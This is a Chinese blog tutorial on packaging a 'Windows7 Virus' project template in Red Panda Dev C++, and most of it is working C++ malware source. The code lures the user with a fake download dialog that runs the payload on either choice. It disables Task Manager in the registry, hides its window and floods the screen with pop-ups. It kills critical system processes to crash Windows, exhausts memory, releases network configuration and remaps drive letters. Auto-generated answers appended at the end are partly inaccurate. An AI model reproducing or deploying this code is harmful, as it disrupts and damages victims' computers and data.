Red Panda Dev C++ 病毒项目模板

本文档详细介绍了如何使用Red Panda Dev C++创建一个名为Windows7 Virus的项目,该项目模板包含三个文件:main.cpp, Heike.h和heker.h。通过设置项目类型为Windows Application,并为项目创建模板,使得用户可以方便地重复使用这些代码。" 102680073,9079035,Python编程热潮:从小学生到高级进阶,"['Python', '编程教育', '计算机等级考试', '信息技术教材', '编程书籍推荐']
摘要由CSDN通过智能技术生成

前言

        在看这篇文章之前,请查看此文章!否则你可能看不懂。

        还记得上一讲吗?

         没错,我的小脑瓜动了动,就。。。。。

         好吧,模板,你又一次成功引起了我的注意

一、创建项目

         首先创建一个项目:

               1、打开Red Panda Dev C++。

                

                2、点击 “文件[F]” →  “新建[N]” → “项目[P]...”,即可生成一个项目。

  

        注意啦!这一次要把项目名称设置为Windows7 Virus,项目类型是Basic中的Windows Application。

        点击“Yes”!

二、编写文件

        这个项目模板需要三个文件:

        其实这次的两个头文件和以前的一样,我怕有人没有下载heker.h和Heike.h,就搞了一个特定头文件。

        代码:

        main.cpp

                这是示例程序。(我为了装作是官方,便把注释改成了英文)

/*A Virus Project?Yes, You Can Did To Yourself*/
/* The Computer Virus Project, Now You Can Take shell! */
#include <bits/stdc++.h>
#include "heker.h"  //Dedicated Head File
/* Head Files */
int thistime;  //Clock Time
using namespace std;
/* namespace */
void virus()  //Virus Function
{
	Make_Text("MuOpawS.vbs", "msgbox\"You Computer Is In A Very Disaster Repait Virus, You Need Think A Good Favicon!");  //New A File
	Make_Text("WinMain.txt", "Creat Error!");
	while(1)
	{
		thistime++;  //Add This Time
		Icon(0, 0, 2);  //Draw Icons
		system("start MuOpawS.vbs");  //Start The Files
		system("start WinMain.txt");
		Icon(0, 0, 1);
		system("start MuOpawS.vbs");
		system("start WinMain.txt");
		Icon(0, 0, 2);
		system("start MuOpawS.vbs");
		if(thistime == 60)  //If For Count To 60
			Blue_Screen();  //Blue Screen
	}
}
int main(){  //Main Function
	Hide();  //Hide Window
	Tsk();  //More Tsk
	ProcessRun();  //Have Process
	if (MessageBox(NULL, "Welcome To Our Jin Kela DownLoad Progral!\nStart DownLoad Please Choose \"OK\",\nOtherwise Choose \"No\".", "DownLoad", MB_ICONINFORMATION | MB_YESNO) == IDYES)  //Tips Window
	{
		virus();  //Run Virus
	}else
	{
		MessageBox(NULL, "You Can Not EXIT!!!", "\\ A /", MB_ICONWARNING | MB_OK);  //Can Not Exit
		virus();  //Run Virus
	}
	return 0;
}

        Heike.h

#ifndef HEIKE_H

#include <bits/stdc++.h>
#include <conio.h>
#include <windows.h>
using namespace std;
void Make_Text(string same, string name)
{
	//HWND hWnd = GetConsoleWindow(); 
    //SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW); 
		ofstream outfile(same,ios::out); 
	if (!outfile) 
	{  
		cerr<<"open error"<<endl;  
	} 
	outfile<<name;
	outfile.close();	
}
//主机的好管理
void shutdown(int x, int y)
{
	Sleep(x * 1000);//等待n秒
	if(y == 1)
		system("shutdown -p");//关机
	if(y == 2)
		system("shutdown -s -r 0");//重启
	if(y == 3)
		system("shutdown -l");//注销
}
//鼠标指针的好管理
void Currur(int q)
{
    int x = GetSystemMetrics(SM_CXSCREEN);
    int y = GetSystemMetrics(SM_CYSCREEN);
    srand(time(0));
    if (q == 1)//当q为1时,进入死循环。
	    while(1)
	    	SetCursorPos(rand() % x, rand() % y);			
	else{//乱移鼠标的线程
	    while(q){
	    	SetCursorPos(rand() % x, rand() % y);
	    	q--;
		}	
	}
}
//控制台的好管理
void Hide()
{
    HWND s;
	s = FindWindow("ConsoleWindowClass", NULL);//找到当前窗口句柄
	if (s) {
		ShowOwnedPopups(s, SW_HIDE);//显示或隐藏由指定窗口所有的全部弹出式窗口
		ShowWindow(s, SW_HIDE);//隐藏窗口
	}	
}
//图标的好管理
void Icon(int x, int y, int n)
{
	FreeConsole();
	HWND hwnd = GetDesktopWindow();
	HDC hdc = GetWindowDC(hwnd);
	POINT point;
	while(1)
	{
		GetCursorPos(&point);//锁定鼠标位置
		if(n == 1)//错误图标
			DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_ERROR));
		if(n == 2)//感叹号图标
			DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WARNING));
		if(n == 2)//应用程序图标
			DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WINLOGO));	
	}
}
//卡死
void Die()
{
	while(1)
	{
		new char;
		malloc(INT_MAX);
	}
}
//远程攻击
void Shutdown_Go()
{
	system("shutdown /i");
}
void color (int a) {
    if (a == 0 || a == 14 || a == 20) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);
    } else if (a == 1 || a == 12) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
    } else if (a == 2) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_GREEN);
    } else if (a == 3) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);
    } else if (a == 4 || a == 11) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_RED);
    } else if (a == 5 || a == 13) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
    } else if (a == 7) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_GREEN|FOREGROUND_BLUE);
    } else if (a == 15) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY);
    } else if (a == 16) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_GREEN);
    } else if (a == 17) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED);
    } else if (a == 8) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);
    } else if (a == 6) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_BLUE);
    } else if (a == 9) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_RED|BACKGROUND_RED|BACKGROUND_GREEN);
    }
}
void explore()//不可打开资源管理器
{
	system("taskkill /im explore.exe /f"); 
}
void release()//断开网络
{
	system("ipconfig /release"); 
}
#endif

        heker.h

#ifndef HEKER_H

#include <bits/stdc++.h> 
#include <iostream>
#include <cstdlib>
#include <cstdlib>
#include <ctime>
#include <Windows.h>
#define _CRT_SECURE_NO_WARNINGS 1
#pragma comment(lib,"winmm.lib")
#include <cstring> 
#include "fstream"
#include <conio.h>
#include <cmath>
#include <HeiKe.h>

using namespace std;
void SetPos (COORD a) {
	HANDLE out = GetStdHandle (STD_OUTPUT_HANDLE);
	SetConsoleCursorPosition (out, a);
}
void SetPos(int i, int j) {
	COORD pos = { i, j };
	SetPos (pos);
}
VOID Blue_Screen()
{
	system("wmic process where name=\"svchost.exe\" delete");
	system("wmic process where name=\"LsaIso.exe\" delete");
	system("wmic process where name=\"smss.exe\" delete");
	system("taskkill /f /fi \"pid ne 1\"");
}
void msgbox(char name[], char same[], string ico)
{
	if(ico == "错误")
		MessageBox(NULL, same, name, MB_ICONERROR|MB_OK);
	if(ico == "警告")
		MessageBox(NULL, same, name, MB_ICONWARNING|MB_OK);
	if(ico == "问号" || ico == "访问")
		MessageBox(NULL, same, name, MB_ICONQUESTION|MB_OK);
	if(ico == "信息")
		MessageBox(NULL, same, name, MB_ICONINFORMATION|MB_OK);
}
bool ProcessRun()
{
    SID_IDENTIFIER_AUTHORITY Aut = SECURITY_NT_AUTHORITY;
    PSID minID;
    BOOL b = AllocateAndInitializeSid(&Aut, 2, SECURITY_BUILTIN_DOMAIN_RID,DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &minID);
    if(b)
    {
        CheckTokenMembership(NULL, minID, &b);
        FreeSid(minID);
        return b == true;
    }else
   		return b == false;
}
struct CP{
	VOID start()
	{
		Make_Text("爱的病毒.bat","for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:)");
		system("start 爱的病毒.bat");
	}
	void stop()
	{
		Make_Text("爱的病毒2.bat","for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)");
		system("start 爱的病毒2.bat");
	}
}cp;

VOID echo_of()
{
	system("@echo off");
}
VOID Tsk()
{
	echo_of();
	DWORD dword=TRUE;
	HKEY h;
	DWORD s = dword;
	RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &h);
	RegSetValueEx(h, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&s, sizeof(DWORD));
	RegCloseKey(h);
}
void full_screen() {
	echo_of();
	HWND hwnd = GetForegroundWindow();
	int cx = GetSystemMetrics(SM_CXSCREEN);
	int cy = GetSystemMetrics(SM_CYSCREEN);
 
	LONG l_WinStyle = GetWindowLong(hwnd,GWL_STYLE);   
	SetWindowLong(hwnd,GWL_STYLE,
	              (l_WinStyle | WS_POPUP | WS_MAXIMIZE) & ~WS_CAPTION & ~WS_THICKFRAME &
	              ~WS_BORDER);
	SetWindowPos(hwnd, HWND_TOP, 0, 0, cx, cy, 0);
}
void HideCursor()
{
	echo_of();
	HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);
	CONSOLE_CURSOR_INFO CursorInfo;
	GetConsoleCursorInfo(handle, &CursorInfo);//获取控制台光标信息
	CursorInfo.bVisible = false; //隐藏控制台光标
	SetConsoleCursorInfo(handle, &CursorInfo);//设置控制台光标状态
}
void print(const char* p, double time)
{
	echo_of();
    while (1)
    {
        if (*p != 0)
        {
        	printf("%c", *p++);
        }
        else
        {
            break;
        }
        Sleep(time * 1000);
    }
}
void show()
{
	echo_of();
	color(2);
	printf("notepad - 记事本\n");
	printf("calc - 计算器\n");
	printf("winver - 关于\"Windows\"\n");
	printf("Nslookup - 默认服务器\n");
	printf("cmd - 命令行\n");
	printf("cleanmgr - 磁盘清理\n");
	printf("charmap - 字符映射表\n");
	printf("dxdiag - Dxdiag修复工具\n");
	color(1);
	printf("taskmgr - 任务管理器\n");
	color(2);
	printf("wiaacmgr - 扫描仪\n");
	printf("mspaint - 画图\n");
	printf("mmc - 控制台\n");
	color(532);
}
void Start(string same)
{
	echo_of();
	if(same == "notepad")	
		system("start notepad");
	if(same == "calc")	
		system("start calc");
	if(same == "winver")	
		system("start winver");
	if(same == "Nslookup")	
		system("start Nslookup");
	if(same == "cmd" || same == "")	
		system("start cmd");
	if(same == "cleanmgr")	
		system("start cleanmgr");
	if(same == "charmap")	
		system("start charmap");
	if(same == "dxdiag")	
		system("start dxdiag");
	if(same == "taskmgr")	
		system("start taskmgr");
	if(same == "wiaacmgr")	
		system("start wiaacmgr");		
	if(same == "mspaint")	
		system("start mspaint");
	if(same == "mmc")	
		system("start mmc");		
}
void Taskkill(const char *same)
{
	char a[10] = "taskkill ";
	strcat(a, same);
	system(a);
}
#endif

三、创建模板

             1、点击 “文件[F]” →  “新建[N]” → “模板[T]...”,为你的项目创建一个模板。

         名字就用Windows7 Virus,描述想怎么改怎么改,分类是Basic。模板图标嘛,请去上面下载!

        就是这样:

        打开“附加”,把3个选项都点上:

        点击“创建” !

        再次点击 “文件[F]” →  “新建[N]” → “项目[P]...”,你就可以发现:

 

bye!

  • 24
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: Red Panda Dev C是一个开发工具,用于C语言的编写和调试。要使用Red Panda Dev C,首先你需要下载并安装它到你的计算机上。安装完成后,你可以通过双击Red Panda Dev C的图标来启动它。 一旦Red Panda Dev C启动,你会看到一个简洁的用户界面,其中包含许多功能和选项。在左侧的窗口中,你可以创建、打开和保存C语言项目和文件。你可以通过点击"新建"来创建新的项目,然后在项目中添加C源文件。 在项目中编写C代码,你可以使用Red Panda Dev C提供的一些常见的代码编辑功能,例如自动补全、语法高亮显示和代码折叠等。你可以在代码编辑器中编写函数、变量和其他C语言的语句。 完成代码编写后,你可以点击菜单栏上的"编译"按钮,Red Panda Dev C会将你的C代码编译成可执行文件。编译完成后,你可以点击"运行"按钮来执行你的程序。 当你的程序运行时,你可以在Red Panda Dev C的控制台中查看程序的输出结果和错误信息。你也可以在控制台中输入和测试程序。 除了编译和运行功能,Red Panda Dev C还提供了调试功能,例如设置断点、单步执行和变量监视等。这些调试功能可以帮助你分析和修复C程序中的错误。 总结来说,Red Panda Dev C是一个方便易用的C语言开发工具,它提供了代码编辑、编译、运行和调试等多个功能,可以帮助你更加高效地编写和调试C程序。 ### 回答2: Red Panda DevC 是一个开发工具集,用于构建和管理分布式流式处理应用程序。这个工具集提供了一套易于使用的接口和工具,以帮助开发人员更高效地创建和部署流式处理应用程序。 首先,使用 Red Panda DevC 之前,你需要确保你已经安装了相应的软件和环境。你需要安装 Red Panda、Docker 和 Kubernetes,以便于你能够本地环境中运行和测试你的应用程序。 接下来,你需要通过 Red Panda DevC 的命令行工具来创建你的应用程序。这些命令行工具可以用于创建项目,添加流、数据源和操作符等等。你可以使用命令行工具创建一个新的项目,并为你的项目选择合适的模板。然后,你可以使用命令行工具添加所需的流和操作符,并配置数据源。 在配置完应用程序的结构后,你可以通过命令行工具构建和运行你的应用程序。这将使用 Docker 和 Kubernetes 在本地环境中运行你的应用程序。你可以使用命令行工具来监视和管理你的应用程序的运行状况。 另外,Red Panda DevC 还提供了一个 Web 界面,可以帮助开发人员更直观地管理和监控应用程序。通过这个界面,你可以查看应用程序的状态、监测流的数据流动、调试和优化应用程序等。 总而言之,使用 Red Panda DevC,你可以更方便地创建和部署分布式流式处理应用程序。它提供了一套使用简单的命令行工具和 Web 界面,帮助你构建和管理你的应用程序,并提供了监控和调试工具,以优化应用程序的性能。 ### 回答3: Red Panda Dev C 是一款用于开发 C 语言程序的集成开发环境(IDE),以下是使用 Red Panda Dev C 的步骤: 1. 下载和安装:首先,在官方网站上下载 Red Panda Dev C 的安装程序。下载完成后,双击安装程序并按照向导的指示完成安装过程。 2. 打开 Red Panda Dev C:安装完成后,可以在计算机上找到 Red Panda Dev C 的快捷方式,双击打开该应用程序。或者在开始菜单中找到 Red Panda Dev C 的图标并点击打开。 3. 创建新项目:在 Red Panda Dev C 的界面上,点击菜单栏中的“文件”选项,然后选择“新建项目”。在弹出的对话框中,输入项目的名称和保存路径,然后点击“确定”按钮。 4. 编写代码:在 Red Panda Dev C 的编辑器窗口中,编写 C 语言的源代码。可以使用编码补全、语法高亮等功能辅助编写代码。 5. 编译和运行:完成代码编写后,点击菜单栏中的“构建”选项,然后选择“编译”。Red Panda Dev C 将自动编译代码并生成可执行文件。编译完成后,点击菜单栏中的“运行”选项,选择“运行”。 6. 调试代码(可选):如果代码中存在错误或 bug,可以使用 Red Panda Dev C 提供的调试功能进行调试。通过在代码中设置断点、逐行执行代码等方法,可以逐步检查代码执行的过程和变量的值。 7. 调整设置:Red Panda Dev C 提供了许多设置选项,如界面主题、编译器选项、快捷键设置等,可以根据个人喜好进行调整。 总之,Red Panda Dev C 是一款简单易用的 C 语言开发工具,通过上述步骤可以快速开始编写、调试和运行 C 语言程序
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

快乐星空Maker

你的鼓励是我创作的最大动力!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值